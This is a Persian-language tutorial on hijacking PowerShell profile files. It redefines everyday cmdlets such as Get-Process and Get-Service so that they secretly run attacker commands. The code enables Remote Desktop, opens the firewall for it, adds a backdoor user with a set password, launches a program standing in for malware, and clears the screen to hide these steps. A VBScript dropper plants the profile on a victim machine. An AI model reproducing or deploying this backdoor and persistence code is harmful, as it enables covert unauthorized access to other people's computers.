# سوء استفاده از پروفایل powershell و تغییر روند و کار یک فرمان

تقدیم به :

سازمان نظام صنفی رایانه ای استان کردستان

نویسنده : مسلم حقیقیان

ایمیل : moslem.haghighian@yahoo.com

وبسایت : wininfo.ir

در اینجا ما قصد داریم بحثی مطرح کنیم که در آینده و یا حال میتوان سو استفاده های فراوانی از آن انجام داد و یا خیر جهت اهداف امن سازی از آن استفاده کرد .در powershell می توان با تعریف یک profileو سو استفاده از آن می توان به یک فرمان دستور جدیدی داد و روند و کار یک فرمان را تغییر داد . مثلا فرمان Get-processدر حالت پیش فرض لیستی از process های در حال اجرا را به ما نشان می دهد اما ما می توانیم به آن بگوییم که لیست process ها را به ما نشان ندهد بلکه اول یک user ایجاد کند پسورد user را مقدار Xقرار دهد و سپس ریموت دستکات را فعال کند و در این فرامین که اجرا شده را از دید کاربر پاک کند و سپس لیست پروسه ها را برایمان در آورد و یا به طور کل فرمان اجرا نشود و ...

یکی از ویژگی های خط فرمان powershell ایجاد دستورات جدید برای اسکریپت های خودمان است به عنوان مثال ما می توانید یک اسکریپت 20 خطی را بنویسیم و بگوییم با تایپ فرمان get-newscript تمامی آن مراحل را برایمان انجام شود .

در این اسکریپت ما می توانیم از هر نوع تابع و متغیر و ... استفاده کنیم و حتی اگر 100 خط هم نوشته باشیم می توان آن را با نوشتن یک فرمان اجرا کنیم .

انواع مختلف پروفایل ها را می توانیم تعریف کنیم که هر کدام دارای سطوح دسترسی متفاوت هستند

- ***%windir%\system32\WindowsPowerShell\v1.0\profile.ps1***

در صورتی که یک فرمان را در اینجا تعریف کنیم این فرمان در تمامی حساب های کاربری و در سطح تمامی اسکریپت نویسی ها و شل اسکریپت ها اعمال می شود .

- ***%windir%\system32\WindowsPowerShell\v1.0\ Microsoft.PowerShell_profile.ps1***

فرامین وارد شده داخل این پروفایل در سطح تمامی حساب های کاربری اعمال می شود اما فقط توسط powershell می تواند اجرا شود .

- ***%UserProfile%\My Documents\WindowsPowerShell\profile.ps1***

این پروفایل در سطح حساب کاربری فعلی خودمان اعمال می شود البته برای تمامی اسکریپت شل ها ی مختلف در ویندوز

- ***%UserProfile%\My Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1***

این پروفایل فقط در سطح حساب کاربری فعلی و فقط برای powershell اعمال می شود .

جهت دیدن پروفایل می توان از متغیر $profile که وظیفه ی آن نگهداری از آدرس فایل پروفایل ها می باشد است . پس کافیست آن را در powershell تایپ کنیم .

```
$Profile
```

جهت بررسی این مسئله که آیا پروفایل از قبل ایجاد شده و یا خیر باید از فرمان زیر استفاده نمود .

```
test-path $profile
```

در صورتی که جواب False باشد که به این منظور است که پروفایل هنوز ایجاد نشده و باید با فرمان زیر پروفایل را ایجاد کرد

```
new-item -path $profile -itemtype file –force
```

```
Windows PowerShell
Copyright (C) 2013 Microsoft Corporation. All rights reserved.
PS C:\Users\Administrator> new-item -path $profile -itemtype file –force

    Directory: C:\Users\Administrator\Documents\WindowsPowerShell
Mode                LastWriteTime     Length Name
----                -------------     ------ ----
-a---         3/3/2015  10:23 AM          0 Microsoft.PowerShell_profile.ps1

PS C:\Users\Administrator>
```

در اینجا می گوید که پروفایل در مسیر C:\Users\Micr0s0ft\Documents\WindowsPowerShell با اسم Microsoft.PowerShell_profile.ps1ایجاد شد.

حال شما می توانید با استفاده از فرمان زیر  پروفایل خود را در notepad باز کنید و اسکریپت خودتان را در آن کپی نمایید .

به عنوان مثال :

با استفاده از فرمان Invoke-WebRequest ifconfig.me/ip در powershell ویندوز می توان ایپی واقعی خودمان را مشاهده نماییم . حال ما می خواهیم این را به یک فرمان در powershell تبدیل نماییم یعنی با ز

```
function get-Ip {
(Invoke-WebRequest ifconfig.me/ip)
}
```

در اینجا در صورتی که ما فرمان get-ip را بزنیم می توانیم ایپی واقعی خود را ببینیم و این فرمان را نیز به لیست فرامین ویندوز اضافه کنیم .

اما ما می توانیم از این روش سو استفاده های فراوانی را نیز انجام دهیم و یا خیر از آن به جهت امن سازی استفاده کنیم .

حال می خواهیم بگوییم که هکر می تواند چه کارهایی را انجام دهد و چگونه می تواند از این پروفایل ها سو استفاده کند .کار را با یک مثال شروع می نماییم .

فرمان Get-Process لیستی از فرآیند های در حال اجرا را برایمان به نمایش در می آورد و جز فرامین پر کاربرد در  ویندوز می باشد . می خواهیم  بگوییم وقتی کاربر فرمان get-process را وارد کرد به جای اینکه این فرمان اجرا شود مراحل زیر بر روی کامپیوتر قربانی طی شود.

۱ – ریموت دسکتاپ بر روی سیستم فعال شود.

۲ – یک یوزر با نام moslem و پسورد l4tr0d3ctism ایجاد شود.

۳ – امکان استفاده از ریموت دسکتاپ در فایروال صادر شود.

۴ – و ارتباط امن RDP هم تصدیق شود.

۵ – صفحه از مراحل انجام شده پاک شود.

۶ – در نهایت فایل CALC.exe اجرا شود .

۷ -لیست پروسه ها برای کاربر آورده شود و فرمان Get-process اجرا شود.

برای اینکار باید  به شکل زیر عمل کرد کد زیر  را در پروفایل کپی کنید

```
function command-name{
(command1)
(command2)
.
.
.
(command n)
}
```

یعنی به شکل زیر برایget-process

```
function get-process {
(set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server'-name
"fDenyTSConnections" -Value 0) #fa@l shodane remote desktop
(Enable-NetFirewallRule -DisplayGroup "Remote Desktop")
(set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal
Server\WinStations\RDP-Tcp' -name "UserAuthentication" -Value 1 )
(net user moslem l4tr0d3ctism /add)
(Invoke-Item C:\Windows\System32\calc.exe)
(clear)
(get-process)
}
```

یا مثلا می خواهیم وقتی کاربر دستور Get-Service را وارد کرد یک بد افزار اجرا شود و سپس این فرمان اجرا شود .

```
function get-service {
 (Invoke-Item C:\Windows\System32\calc.exe)
 (clear)
 (get-service)
}
```

دقیقا به همان شکل که گفتیم حال اگر کاربر فرمان Get-process راایجاد کند مراحل بالا اجرا می شود .
شما می توانید هر کدام  از فرامین را که بخواهید جایگزین کنید و آن را به دلخواه تغییر بدید.

حالا شما جهت حرفه ای تر شدن کار می توانید مراحل را به شکل زیر انجام دهید در صورتی که دسترسی ریموت داشتید به سیستم می توانید با اجرای کد زیر در سیستم قربانی مراحل را انجام دهید .

یک فایل VBS ایجاد کنید از قبل و کد زیر را در آن بریزد

با استفاده از این کد شما می توانید فرمانی مورد نظر خودتان را داخل یک فایل متنی با نام Microsoft.PowerShell_profile.txtکه همان نام پروفایل پاور شل می باشد بریزید و سپس فرامین مورد نظر خودتان را در آن بنویسید و در نهایت فایل را در داخل پوشه ی پروفایل بگذارید و سپس پسوند فایل را به PS1 تغییر دهید . دلیل این کار این است که ویندوز به شما اجازه نمی دهد مستقیم فایلی را با پسوند PS1 در این مسیر ها کپی کنید در نتیجه اول آن را با پسوند TXT می گذاریم و سپس آن را به PS1 تغییر می دهیم .

```
'sakhtane file text
dim filesys, demofolder, filetxt
Set filesys = CreateObject("Scripting.FileSystemObject")
Set demofolder = filesys.GetFolder("C:\Users\Micr0s0ft\Documents\WindowsPowerShell")
Set filetxt = demofolder.CreateTextFile("Microsoft.PowerShell_profile.txt", True)
filetxt.WriteLine("function get-process {")
filetxt.WriteLine("(set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal
Server'-name fDenyTSConnections -Value 0)")
filetxt.WriteLine("(net user moslem l4tr0d3ctism /add)")
filetxt.WriteLine("(Enable-NetFirewallRule -DisplayGroup Remote Desktop)")
filetxt.WriteLine("(set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal
Server\WinStations\RDP-Tcp' -name UserAuthentication -Value 1 )")
filetxt.WriteLine("(clear)")
filetxt.WriteLine("(get-process)")
filetxt.WriteLine("}")
filetxt.Close
'taghire name an be passvande ps1
Dim Fso
Set Fso = WScript.CreateObject("Scripting.FileSystemObject")
Fso.MoveFile " Microsoft.PowerShell_profile.txt", " Microsoft.PowerShell_profile.ps1"
```